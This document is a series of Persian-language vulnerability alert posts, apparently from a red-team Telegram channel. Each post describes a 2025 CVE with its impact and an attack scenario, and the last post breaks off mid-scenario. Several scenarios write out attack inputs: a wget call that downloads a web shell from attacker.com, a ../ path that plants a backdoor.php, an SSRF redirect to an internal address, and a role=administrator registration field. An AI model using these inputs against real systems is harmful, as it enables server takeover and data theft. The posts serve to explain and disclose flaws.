🚨 New Vulnerability Alert: CVE-2025-13609

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری CVE-2025-13609 در Keylime

---

Vulnerability Description:
یک آسیب‌پذیری با شناسه CVE-2025-13609 در ابزار keylime شناسایی شده است. این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با ثبت یک عامل (agent) جدید با استفاده از یک دستگاه TPM (Trusted Platform Module) متفاوت، شناسه منحصر به فرد (UUID) یک عامل معتبر و موجود را جعل کند.

این عمل باعث بازنویسی هویت عامل قانونی در سیستم شده و به مهاجم امکان می‌دهد تا هویت آن را به سرقت برده و خود را به جای آن جا بزند.

---

Impact:
مهاجم با سوءاستفاده از این آسیب‌پذیری می‌تواند هویت یک سیستم یا عامل مورد اعتماد را در شبکه به طور کامل در اختیار بگیرد. این امر منجر به دور زدن مکانیزم‌های تأیید هویت و کنترل دسترسی (Authentication and Access Control) می‌شود.

در نتیجه، مهاجم قادر خواهد بود به منابع حساس دسترسی پیدا کرده، داده‌های محرمانه را مشاهده یا دستکاری کند و یا به عنوان یک نود معتبر در زیرساخت، حملات بیشتری را سازماندهی نماید. این آسیب‌پذیری به طور مستقیم یکپارچگی و اعتماد زیرساخت را تضعیف می‌کند.

---

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. مهاجم شناسه UUID یک عامل (agent) معتبر و فعال در سیستم keylime را به دست می‌آورد.

۲. مهاجم یک دستگاه جدید (که تحت کنترل خودش است) را با یک ماژول TPM متفاوت آماده‌سازی می‌کند.

۳. سپس، با استفاده از این آسیب‌پذیری، یک درخواست ثبت عامل جدید به سیستم ارسال می‌کند، اما در این درخواست، از UUID متعلق به عامل معتبر (قربانی) استفاده می‌نماید.

۴. سیستم keylime بدون اعتبارسنجی کافی، هویت عامل قانونی را با اطلاعات عامل جدیدِ مهاجم بازنویسی می‌کند.

۵. از این پس، مهاجم به عنوان عامل معتبر در شبکه شناخته شده و می‌تواند تمام بررسی‌های امنیتی مبتنی بر هویت آن عامل را با موفقیت پشت سر بگذارد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-54347

🔴 Risk Level: CRITICAL (Score: 9.9)

تحلیل آسیب‌پذیری CVE-2025-54347

📝 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری از نوع Directory Traversal (پیمایش دایرکتوری) در سرویس‌دهنده برنامه (Application Server) محصول Desktop Alert PingAlert شناسایی شده است. نسخه‌های تحت تأثیر این آسیب‌پذیری از 6.1.0.11 تا 6.1.1.2 می‌باشند.

این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با دستکاری مسیر فایل‌ها، از دایرکتوری محدود شده وب‌سرور خارج شده و تحت شرایط خاصی، فایل‌های دلخواه خود را در مکان‌های غیرمجاز بر روی سیستم قربانی بنویسد. مشکل اصلی از عدم اعتبارسنجی و پاکسازی صحیح ورودی‌های مربوط به مسیر فایل‌ها ناشی می‌شود.


💣 تأثیرات و پیامدها:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای بسیار خطرناکی شود. از آنجایی که مهاجم قابلیت نوشتن فایل دلخواه (Arbitrary File Write) را بر روی سرور پیدا می‌کند، سناریوهای زیر محتمل است:

- اجرای کد از راه دور (RCE): مهاجم می‌تواند یک وب‌شل (Webshell) یا اسکریپت مخرب دیگر را در یک دایرکتوری قابل اجرا بر روی وب‌سرور آپلود کرده و از طریق آن، دستورات دلخواه خود را بر روی سیستم قربانی اجرا کند و کنترل کامل سرور را به دست گیرد.

- از کار انداختن سرویس (DoS): با بازنویسی یا تخریب فایل‌های حیاتی سیستم‌عامل یا فایل‌های پیکربندی برنامه، مهاجم می‌تواند باعث اختلال در عملکرد سرویس و از دسترس خارج شدن آن شود.

- کاشت بدافزار: مهاجم می‌تواند انواع بدافزار، باج‌افزار یا ابزارهای جاسوسی را بر روی سیستم قربانی نصب کند.


🎭 سناریوی حمله:
یک مهاجم غیرمجاز (بدون نیاز به احراز هویت) یک درخواست HTTP دستکاری‌شده به سرور آسیب‌پذیر ارسال می‌کند. این درخواست حاوی یک فایل (برای مثال، یک وب‌شل با پسوند .php یا .aspx) و یک مسیر مقصد است که با استفاده از توالی‌هایی مانند ../ دستکاری شده است.

برای مثال، مهاجم تلاش می‌کند فایلی به نام backdoor.php را در مسیر زیر آپلود کند:
../../../../var/www/html/backdoor.php

اپلیکیشن آسیب‌پذیر، به دلیل عدم فیلتر کردن توالی ../، فریب خورده و فایل مخرب را خارج از پوشه آپلود پیش‌فرض و در ریشه وب‌سرور (/var/www/html/) ذخیره می‌کند. پس از آن، مهاجم به سادگی با مراجعه به آدرس https://[target-domain]/backdoor.php می‌تواند به وب‌شل خود دسترسی یافته و دستورات مورد نظر را بر روی سرور اجرا کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-62155

🟠 Risk Level: HIGH (Score: 8.5)

تحلیل آسیب‌پذیری | CVE-2025-62155
دور زدن وصله امنیتی و اجرای SSRF در پلتفرم New API

---

🧾 شرح آسیب‌پذیری:

آسیب‌پذیری جدیدی در پلتفرم New API، که یک درگاه برای مدل‌های زبان بزرگ (LLM) و سیستم مدیریت دارایی‌های هوش مصنوعی است، شناسایی شده است. این ضعف امنیتی در نسخه‌های پیش از 0.9.6 وجود دارد.

مشکل اصلی این است که یک آسیب‌پذیری جعل درخواست سمت سرور (SSRF) که قبلاً وصله شده بود، دارای یک روش برای دور زدن (Bypass) است. مکانیزم امنیتی پیاده‌سازی‌شده تنها اولین درخواست URL را بررسی می‌کند. مهاجم می‌تواند با استفاده از یک ریدایرکت 302، سرور را وادار به ارسال یک درخواست ثانویه به یک آدرس در شبکه داخلی (Intranet) کند. از آنجایی که این درخواست دوم بررسی نمی‌شود، مکانیزم امنیتی عملاً دور زده می‌شود. این آسیب‌پذیری در نسخه 0.9.6 برطرف شده است.

💥 تاثیرات:

موفقیت در بهره‌برداری از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا حملات SSRF را با موفقیت اجرا کند. این امر می‌تواند منجر به نتایج خطرناکی شود، از جمله:

- دسترسی به منابع و سرویس‌های داخلی شبکه که به صورت عمومی در دسترس نیستند.
- اسکن پورت‌های باز در شبکه داخلی برای شناسایی سایر سرویس‌های آسیب‌پذیر.
- سرقت اطلاعات حساس از سرویس‌های داخلی مانند پایگاه‌های داده، داشبوردهای مدیریتی یا APIهای داخلی.
- تعامل با سرویس‌های داخلی و اجرای دستورات غیرمجاز بر روی آن‌ها.

🚶‍♂️➡️🎯 سناریوی حمله:

یک مهاجم می‌تواند سناریوی زیر را برای بهره‌برداری از این آسیب‌پذیری دنبال کند:

۱. مهاجم یک نقطه پایانی (Endpoint) را در سیستم New API پیدا می‌کند که یک URL به عنوان ورودی دریافت می‌کند.

۲. مهاجم آدرس یک سرور تحت کنترل خود را به عنوان ورودی به سیستم می‌دهد (برای مثال: https://attacker-server.com/redirect).

۳. سرور New API اولین درخواست را به سرور مهاجم ارسال می‌کند. از آنجایی که این یک آدرس خارجی و به ظاهر معتبر است، بررسی امنیتی اولیه با موفقیت انجام می‌شود.

۴. سرور مهاجم با یک پاسخ HTTP 302 Redirect، درخواست را به یک آدرس داخلی در شبکه هدف هدایت می‌کند (برای مثال: https://192.168.1.50/internal-api).

۵. سرور New API به دلیل نقص در وصله امنیتی، آدرس جدید را مجدداً بررسی نمی‌کند و درخواست را به آدرس داخلی مشخص‌شده ارسال می‌کند.

۶. در نتیجه، مهاجم پاسخ دریافتی از سرویس داخلی را مشاهده کرده و به اطلاعات حساس دسترسی پیدا می‌کند یا می‌تواند با آن سرویس تعامل کند.

---

🛡️ توصیه امنیتی:

به تمامی مدیران و کاربران پلتفرم New API اکیداً توصیه می‌شود که در اسرع وقت سیستم خود را به نسخه 0.9.6 یا بالاتر به‌روزرسانی کنند تا از این آسیب‌پذیری در امان بمانند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65951

🟠 Risk Level: HIGH (Score: 8.7)

تحلیل و گزارش آسیب‌پذیری CVE-2025-65951

---

توضیحات آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-65951 در موتور شرط‌بندی مسابقات اسب‌دوانی Inside Track / Entropy Derby شناسایی شده است. این سیستم از یک مکانیزم رمزنگاری قفل زمانی (Timelock Encryption) مبتنی بر تابع تأخیر قابل تأیید (VDF) استفاده می‌کند. هدف این مکانیزم، ایجاد یک تأخیر زمانی محاسباتی اجباری است تا اپراتور یا برگزارکننده نتواند شرط‌ها را قبل از یک زمان مشخص رمزگشایی کند.

این آسیب‌پذیری در نسخه‌های قبل از کامیت 2d38d2f وجود دارد و به کاربران (شرط‌بندها) اجازه می‌دهد تا کل محاسبات زمان‌بر VDF را از پیش روی سیستم خود انجام داده و خروجی نهایی (vdfOutputHex) را مستقیماً در بلیت شرط رمزنگاری‌شده خود بگنجانند. در نتیجه، مکانیزم تأخیر زمانی به طور کامل دور زده می‌شود.


تأثیرات:

تأثیر اصلی این آسیب‌پذیری، از بین رفتن کامل هدف امنیتی سیستم قفل زمانی است. این نقص به برگزارکننده اجازه می‌دهد تا شرط‌های رمزنگاری‌شده را به جای صرف زمان طولانی برای ارزیابی VDF، با استفاده از یک فرآیند اعتبارسنجی سریع، تقریباً بلافاصله رمزگشایی کند.

این موضوع اصل انصاف و عدم قطعیت در سیستم را به شدت تضعیف می‌کند و به برگزارکننده این پتانسیل را می‌دهد که با اطلاع زودهنگام از شرط‌ها، نتایج را دستکاری کرده یا به هر نحو دیگری از این اطلاعات به نفع خود سوءاستفاده نماید.


سناریوی حمله:

یک سناریوی حمله به شرح زیر قابل تصور است:

۱. یک کاربر قصد دارد شرط خود را روی یک مسابقه ثبت کند.

۲. کلاینت کاربر، به جای ارسال یک شرط رمزنگاری‌شده استاندارد، ابتدا کل فرآیند محاسباتی سنگین و زمان‌بر VDF را به صورت محلی (آفلاین) اجرا می‌کند.

۳. پس از اتمام محاسبات، خروجی نهایی VDF که یک اثبات (Proof) است را به همراه بلیت شرط رمزنگاری‌شده خود برای سرور برگزارکننده ارسال می‌کند.

۴. سرور برگزارکننده، با دریافت این بسته، به جای اجرای فرآیند ارزیابی VDF که برای ایجاد تأخیر طراحی شده، مستقیماً از اثبات ارسالی برای اعتبارسنجی سریع استفاده می‌کند.

۵. در نتیجه، شرط کاربر فوراً رمزگشایی شده و محتوای آن پیش از موعد مقرر (مثلاً قبل از شروع مسابقه) برای برگزارکننده فاش می‌گردد و مکانیزم امنیتی اصلی سیستم بی‌اثر می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-6389

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری | CVE-2025-6389

در ادامه گزارش تحلیل تخصصی آسیب‌پذیری اجرای کد از راه دور در افزونه وردپرسی Sneeit Framework ارائه می‌گردد.

Vulnerability Description:
آسیب‌پذیری با شناسه CVE-2025-6389 یک ضعف امنیتی از نوع اجرای کد از راه دور (Remote Code Execution - RCE) در افزونه Sneeit Framework برای وردپرس می‌باشد. این مشکل تمامی نسخه‌های این افزونه تا نسخه 8.3 (و خود این نسخه) را تحت تأثیر قرار می‌دهد.

منشأ این آسیب‌پذیری در تابع sneeit_articles_pagination_callback() نهفته است. این تابع، ورودی دریافت شده از کاربر را بدون اعتبارسنجی و پاک‌سازی کافی، مستقیماً به تابع حساس call_user_func() در PHP ارسال می‌کند. این نقص به مهاجمان احرازهویت‌نشده (Unauthenticated) اجازه می‌دهد تا توابع و دستورات دلخواه خود را بر روی سرور اجرا کنند.

Impact:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به کنترل کامل وب‌سایت و سرور میزبان آن شود. برخی از مهم‌ترین تأثیرات عبارتند از:

کنترل کامل سرور: مهاجم می‌تواند دستورات دلخواه را در سطح سیستم‌عامل سرور اجرا کرده و کنترل کامل آن را به دست بگیرد.

تزریق درهای پشتی (Backdoors): امکان نصب بدافزارها و شل‌های تحت وب (Web Shells) برای حفظ دسترسی پایدار و مخفیانه به سرور.

سرقت اطلاعات: دسترسی و سرقت اطلاعات حساس مانند اطلاعات پایگاه داده، اطلاعات کاربران، و فایل‌های حیاتی وب‌سایت.

ایجاد کاربران با دسترسی بالا: مهاجم می‌تواند حساب‌های کاربری جدید با سطح دسترسی مدیر (Administrator) در وردپرس ایجاد کند و از طریق پنل مدیریتی، تغییرات مخربی را اعمال نماید.

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. یک مهاجم از راه دور، وب‌سایت‌هایی که از نسخه آسیب‌پذیر افزونه Sneeit Framework استفاده می‌کنند را با ابزارهای اسکن خودکار شناسایی می‌کند.

۲. مهاجم بدون نیاز به هیچ‌گونه نام کاربری یا رمز عبور، یک درخواست HTTP مخرب به سمت وب‌سایت هدف ارسال می‌کند. این درخواست، تابع آسیب‌پذیر sneeit_articles_pagination_callback() را هدف قرار می‌دهد.

۳. در پارامترهای این درخواست، مهاجم یک محموله (Payload) ویژه قرار می‌دهد. برای مثال، از تابع call_user_func() سوءاستفاده کرده و تابع system را با دستوری مانند wget https://attacker.com/shell.php -O /tmp/shell.php فراخوانی می‌کند.

۴. سرور این دستور را اجرا کرده و یک فایل بدافزار (Web Shell) را از سرور مهاجم دانلود و در یک مسیر قابل دسترس ذخیره می‌کند. از این لحظه به بعد، مهاجم از طریق آن شل، دسترسی کامل به سرور خواهد داشت و می‌تواند اقدام به ایجاد کاربر مدیر جدید یا سرقت اطلاعات کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13559

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری: CVE-2025-13559
افزونه: EduKart Pro
نوع: ارتقاء سطح دسترسی (Privilege Escalation)
سطح خطر: بحرانی (Critical)

---

شرح آسیب‌پذیری:
آسیب‌پذیری ارتقاء سطح دسترسی در افزونه EduKart Pro برای وردپرس، در تمام نسخه‌های 1.0.3 و پایین‌تر شناسایی شده است. این ضعف امنیتی به دلیل عدم اعتبارسنجی نقش کاربری در تابع edukart_pro_register_user_front_end به وجود آمده است.

در نتیجه، یک مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند در هنگام ثبت‌نام، نقش کاربری خود را به صورت دلخواه، از جمله administrator، تعیین کرده و به این ترتیب به دسترسی کامل مدیریتی در وب‌سایت دست یابد.

میزان تأثیر:
بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل وب‌سایت را به دست گیرد. پیامدهای اصلی این حمله عبارتند از:

✔️ کنترل کامل بر محتوا، کاربران و تنظیمات وب‌سایت.
✔️ سرقت اطلاعات حساس کاربران، مانند اطلاعات شخصی و مالی.
✔️ بارگذاری شل (Shell) و بدافزار بر روی سرور برای حملات آتی.
✔️ تغییر چهره (Deface) وب‌سایت و آسیب به اعتبار برند.
✔️ استفاده از وب‌سایت آلوده به عنوان بستری برای توزیع بدافزار یا حملات فیشینگ.

سناریوی حمله:
یک مهاجم با شناسایی وب‌سایتی که از نسخه آسیب‌پذیر افزونه EduKart Pro استفاده می‌کند، فرآیند حمله را آغاز می‌کند.

۱. مهاجم به صفحه ثبت‌نام ایجاد شده توسط افزونه مراجعه می‌کند.

۲. با استفاده از ابزارهایی مانند Burp Suite، درخواست ثبت‌نام را رهگیری (Intercept) کرده و یا یک درخواست POST دستکاری‌شده به سرور ارسال می‌کند.

۳. در پارامترهای ارسالی، مقدار مربوط به نقش کاربری (مثلاً پارامتری با نام role) را برابر با administrator قرار می‌دهد.

۴. سرور به دلیل نقص در منطق برنامه، این درخواست را بدون اعتبارسنجی پردازش کرده و یک حساب کاربری جدید با بالاترین سطح دسترسی (مدیر کل) ایجاد می‌کند.

۵. مهاجم اکنون با استفاده از این حساب کاربری، کنترل کامل وب‌سایت را در اختیار دارد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63729

🔴 Risk Level: CRITICAL (Score: 9.0)

گزارش تحلیل آسیب‌پذیری | CVE-2025-63729

---

📄 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری افشای اطلاعات حساس با شناسه CVE-2025-63729 در دستگاه مودم Syrotech SY-GPON-1110-WDONT با فریم‌ور نسخه SYRO_3.7L_3.1.02-240517 کشف شده است.

این ضعف امنیتی به مهاجم اجازه می‌دهد تا با تحلیل فایل فریم‌ور دستگاه، به فایل‌های حیاتی زیرساخت کلید عمومی (PKI) دسترسی پیدا کند. فایل‌هایی نظیر کلید خصوصی SSL، گواهی‌نامه مرجع (CA Certificate)، گواهی‌نامه SSL و گواهی‌نامه‌های کلاینت در فرمت .pem به صورت محافظت‌نشده در مسیر /etc فایل‌سیستمِ فریم‌ور ذخیره شده‌اند.

---

🎯 تاثیر:
استخراج این اطلاعات می‌تواند منجر به حملات بسیار مخربی شود. مهاجم با در اختیار داشتن کلید خصوصی SSL قادر خواهد بود:

- شنود و رمزگشایی ترافیک: کلیه اطلاعات رمزگذاری‌شده (HTTPS) که بین کاربران و دستگاه رد و بدل می‌شود، مانند نام کاربری و رمز عبور پنل مدیریت، قابل شنود و رمزگشایی (Decryption) است. این امر محرمانگی داده‌ها را به طور کامل از بین می‌برد.

- جعل هویت دستگاه (Impersonation): مهاجم می‌تواند با استفاده از گواهی‌نامه و کلید خصوصی سرقت‌شده، خود را به عنوان دستگاه واقعی جا زده و کاربران را به صفحات جعلی (Phishing) هدایت کند یا در ارتباطات شبکه اختلال ایجاد نماید.

- اجرای حملات مرد میانی (MitM): این آسیب‌پذیری بستر را برای اجرای حملات Man-in-the-Middle فراهم می‌کند، جایی که مهاجم می‌تواند ترافیک را مشاهده، دستکاری یا مسدود کند.

---

🎭 سناریو حمله:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. دریافت فریم‌ور: مهاجم فایل فریم‌ور آسیب‌پذیر را از وب‌سایت سازنده یا از طریق دسترسی فیزیکی به یک دستگاه دانلود می‌کند.

۲. استخراج محتویات: با استفاده از ابزارهای تحلیل فریم‌ور مانند binwalk، مهاجم فایل‌سیستم را از درون فریم‌ور استخراج می‌کند.

۳. کشف کلیدها: مهاجم به مسیر /etc در فایل‌سیستم استخراج‌شده مراجعه کرده و فایل‌های حساس با پسوند .pem را که حاوی کلیدها و گواهی‌نامه‌ها هستند، کپی می‌کند.

۴. اجرای حمله MitM: مهاجم در شبکه محلی (LAN/Wi-Fi) که دستگاه هدف در آن قرار دارد، مستقر می‌شود. سپس با راه‌اندازی یک حمله MitM، ترافیک کاربر به سمت پنل مدیریت مودم را رهگیری کرده و با استفاده از کلید خصوصی استخراج‌شده، ارتباط HTTPS را رمزگشایی می‌کند و به اطلاعات لاگین مدیر دست می‌یابد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-33187

🔴 Risk Level: CRITICAL (Score: 9.3)

تحلیل آسیب‌پذیری CVE-2025-33187 در سرورهای NVIDIA
---

آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-33187 در کامپوننت SROOT سرورهای قدرتمند NVIDIA DGX Spark GB10 شناسایی شده است. این ضعف امنیتی به یک مهاجم که از قبل دارای دسترسی با سطح بالا (Privileged Access) بر روی سیستم است، اجازه می‌دهد تا مکانیزم‌های امنیتی را دور زده و به نواحی محافظت‌شده در سطح سخت‌افزار (SoC - System on a Chip) دسترسی پیدا کند.

تأثیر:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای بسیار خطرناک و گسترده‌ای شود. با توجه به اینکه سرورهای DGX برای پردازش‌های سنگین هوش مصنوعی و داده‌های حساس استفاده می‌شوند، تأثیرات اصلی شامل موارد زیر است:

اجرای کد دلخواه (Code Execution): مهاجم می‌تواند کنترل کامل سیستم را در دست گرفته و هرگونه کد مخربی را اجرا کند.

افشای اطلاعات (Information Disclosure): امکان سرقت مدل‌های هوش مصنوعی، داده‌های آموزشی محرمانه و سایر اطلاعات حساس ذخیره‌شده یا در حال پردازش بر روی سرور.

دستکاری داده‌ها (Data Tampering): مهاجم قادر به تغییر یا حذف داده‌های حیاتی و نتایج پردازش‌ها خواهد بود.

ممانعت از سرویس (Denial of Service): امکان از کار انداختن کامل سرور و متوقف کردن عملیات پردازشی بسیار گران‌قیمت.

افزایش سطح دسترسی (Escalation of Privileges): یک مهاجم با دسترسی محدود می‌تواند به بالاترین سطح دسترسی (root) در سیستم دست یابد.

سناریو:
یک مهاجم را در نظر بگیرید که از طریق یک آسیب‌پذیری دیگر یا با استفاده از اعتبارنامه‌های ضعیف، موفق به کسب یک دسترسی اولیه و محدود به یکی از سرورهای DGX در یک مرکز داده شده است. این مهاجم سپس با بهره‌برداری از آسیب‌پذیری CVE-2025-33187، به طور مستقیم به لایه‌های امنیتی سخت‌افزاری نفوذ می‌کند.

در این مرحله، او می‌تواند یک روت‌کیت (Rootkit) پایدار و غیرقابل شناسایی در سطح SoC نصب کند که حتی پس از راه‌اندازی مجدد سیستم نیز باقی بماند. این دسترسی عمیق به او اجازه می‌دهد تا به صورت مخفیانه به مدل‌های هوش مصنوعی در حال آموزش دسترسی پیدا کرده، آن‌ها را به سرقت ببرد یا نتایج آن‌ها را دستکاری کند. در سناریویی دیگر، مهاجم می‌تواند با ارسال دستورات مخرب به سخت‌افزار، کل سیستم پردازشی را از دسترس خارج کرده و خسارت مالی و عملیاتی سنگینی به سازمان وارد نماید.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-62703

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-62703
اجرای کد از راه دور در فریم‌ورک Fugue

---

📜 شرح آسیب‌پذیری:
یک آسیب‌پذیری اجرای کد از راه دور (RCE) با شناسه CVE-2025-62703 در فریم‌ورک Fugue نسخه‌های 0.9.2 و قدیمی‌تر شناسایی شده است. مشکل اصلی ناشی از فرآیند Deserialization ناامن داده‌های Pickle در کامپوننت FlaskRPCServer است.

تابع _decode() در فایل fugue/rpc/flask.py داده‌های سریالایز شده دریافتی از کلاینت را مستقیماً با استفاده از تابع cloudpickle.loads() پردازش می‌کند. این تابع هیچ‌گونه اعتبارسنجی یا پاک‌سازی روی داده‌های ورودی انجام نمی‌دهد. در نتیجه، یک مهاجم می‌تواند با ارسال یک شیء پایتون مخرب که به صورت pickle سریالایز شده است، کد دلخواه خود را بر روی سرور اجرا کند. این آسیب‌پذیری در کامیت 6f25326 برطرف شده است.

💥 تأثیر:
تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution) با سطح دسترسی پروسه‌ی در حال اجرای Fugue بر روی سرور قربانی است. این امر به مهاجم اجازه می‌دهد تا کنترل کامل سیستم را در دست بگیرد.

پیامدهای احتمالی عبارتند از:
* سرقت اطلاعات حساس، مانند کلیدهای API، اطلاعات پایگاه داده و داده‌های کاربران.
* نصب بدافزار، باج‌افزار یا ابزارهای دسترسی از راه دور (RAT).
* ایجاد دسترسی پایدار (Persistence) در شبکه داخلی سازمان.
* استفاده از سرور آلوده به عنوان یک نقطه پرش برای حمله به سایر سیستم‌های موجود در شبکه.

این آسیب‌پذیری دارای شدت بحرانی (Critical) تلقی می‌شود و نیازمند به‌روزرسانی فوری است.

🎯 سناریو حمله:
یک مهاجم، سروری را که از نسخه آسیب‌پذیر Fugue RPC استفاده می‌کند، شناسایی می‌کند.

مهاجم یک اسکریپت پایتون مخرب، برای مثال جهت ایجاد یک reverse shell، آماده کرده و آن را با استفاده از کتابخانه pickle به یک رشته سریالایز شده تبدیل می‌کند.

سپس، این رشته مخرب را در قالب یک درخواست به سرور FlaskRPCServer ارسال می‌کند.

سرور Fugue بدون هیچ‌گونه بررسی امنیتی، داده دریافتی را توسط تابع _decode() و با استفاده از cloudpickle.loads() دی‌سریالایز می‌کند. این عمل باعث اجرای کد مخرب جاسازی شده در داده می‌شود.

در نهایت، کد مهاجم بر روی سرور اجرا شده، یک اتصال معکوس به ماشین مهاجم برقرار می‌شود و او کنترل کامل سرور را به دست می‌آورد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13595

🔴 Risk Level: CRITICAL (Score: 9.8)

شرح آسیب‌پذیری:

یک آسیب‌پذیری حیاتی با شناسه CVE-2025-13595 در افزونه CIBELES AI برای وردپرس شناسایی شده است. این آسیب‌پذیری از نوع "آپلود فایل دلخواه" (Arbitrary File Upload) بوده و تمام نسخه‌های افزونه تا نسخه 1.10.8 (شامل این نسخه) را تحت تأثیر قرار می‌دهد.

منشأ مشکل در فایل actualizador_git.php است که فاقد بررسی لازم برای سطح دسترسی کاربر (Missing Capability Check) می‌باشد. این نقص به مهاجمان احرازهویت‌نشده (بدون نیاز به نام کاربری و رمز عبور) اجازه می‌دهد تا با ارسال یک درخواست دستکاری‌شده، سرور را وادار به دانلود یک مخزن دلخواه از GitHub کرده و فایل‌های اصلی افزونه را با فایل‌های موجود در آن مخزن بازنویسی کنند.

تأثیرات:

خطر اصلی و نهایی این آسیب‌پذیری، امکان اجرای کد از راه دور (Remote Code Execution - RCE) است. با موفقیت‌آمیز بودن حمله، مهاجم می‌تواند کنترل کامل وب‌سایت و حتی سرور را به دست آورد. برخی از پیامدهای این حمله عبارتند از:

- سرقت اطلاعات حساس کاربران و پایگاه داده.
- تزریق بدافزار، کدهای مخرب و نصب درب پشتی (Backdoor).
- تغییر چهره سایت (Defacement).
- استفاده از سرور برای حملات بیشتر مانند حملات DDoS.

سناریوی حمله:

یک مهاجم می‌تواند از این آسیب‌پذیری به روش زیر بهره‌برداری کند:

۱. ابتدا، مهاجم یک وب‌سایت وردپرسی را که از نسخه آسیب‌پذیر افزونه CIBELES AI استفاده می‌کند، شناسایی می‌کند.

۲. سپس، یک مخزن عمومی (Public Repository) در GitHub ایجاد کرده و فایل‌های مخرب خود (مانند یک وب‌شل یا درب پشتی به زبان PHP) را با ساختاری مشابه فایل‌های افزونه در آن قرار می‌دهد.

۳. مهاجم یک درخواست HTTP خاص به فایل /wp-content/plugins/cibeles-ai/actualizador_git.php در سایت هدف ارسال می‌کند و آدرس مخزن مخرب خود را به عنوان پارامتر به آن می‌دهد.

۴. اسکریپت آسیب‌پذیر بدون هیچ‌گونه بررسی هویتی، مخزن گیت‌هاب مهاجم را دانلود کرده و فایل‌های اصلی افزونه را با فایل‌های مخرب جایگزین می‌کند.

۵. اکنون فایل مخرب آپلود شده در دسترس است و مهاجم با مراجعه به آدرس آن می‌تواند دستورات دلخواه خود را روی سرور اجرا کرده و کنترل کامل آن را به دست بگیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13597

🔴 Risk Level: CRITICAL (Score: 9.8)

گزارش تحلیل آسیب‌پذیری: CVE-2025-13597

🚨 شرح آسیب‌پذیری:

آسیب‌پذیری از نوع آپلود فایل دلخواه در افزونه وردپرس AI Feeds شناسایی شده است. این ضعف امنیتی در تمام نسخه‌های این افزونه تا نسخه 1.0.11 (شامل این نسخه) وجود دارد.

ریشه مشکل، عدم وجود بررسی سطح دسترسی (Capability Check) در فایل actualizador_git.php است. این نقص به مهاجمان احرازهویت‌نشده اجازه می‌دهد تا مخازن (Repository) دلخواه خود را از گیت‌هاب دانلود کرده و فایل‌های اصلی افزونه را بر روی سرور بازنویسی (Overwrite) کنند. این فرآیند می‌تواند منجر به اجرای کد از راه دور (RCE) شود.

💥 تأثیر:

تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution) است. از آنجایی که مهاجم برای بهره‌برداری از این ضعف نیاز به هیچ‌گونه احرازهویتی ندارد، شدت خطر بسیار بالا ارزیابی می‌شود.

پیامدهای احتمالی عبارتند از:
- به خطر افتادن کامل سرور و کنترل کامل وب‌سایت
- سرقت اطلاعات حساس کاربران و پایگاه داده
- دیفیس (Deface) شدن وب‌سایت
- استفاده از سرور برای توزیع بدافزار یا حملات بیشتر

🎭 سناریو:

یک مهاجم احرازهویت‌نشده، وب‌سایتی را که از نسخه آسیب‌پذیر افزونه AI Feeds استفاده می‌کند، شناسایی می‌کند.

سپس، یک مخزن گیت‌هاب مخرب ایجاد می‌کند که حاوی یک درب پشتی (Backdoor) به زبان PHP است و ساختار فایل‌های آن مشابه افزونه اصلی است.

مهاجم با ارسال یک درخواست دستکاری‌شده به فایل actualizador_git.php، از آسیب‌پذیری سوءاستفاده کرده و افزونه را فریب می‌دهد تا خود را از مخزن گیت‌هاب مخرب "به‌روزرسانی" کند.

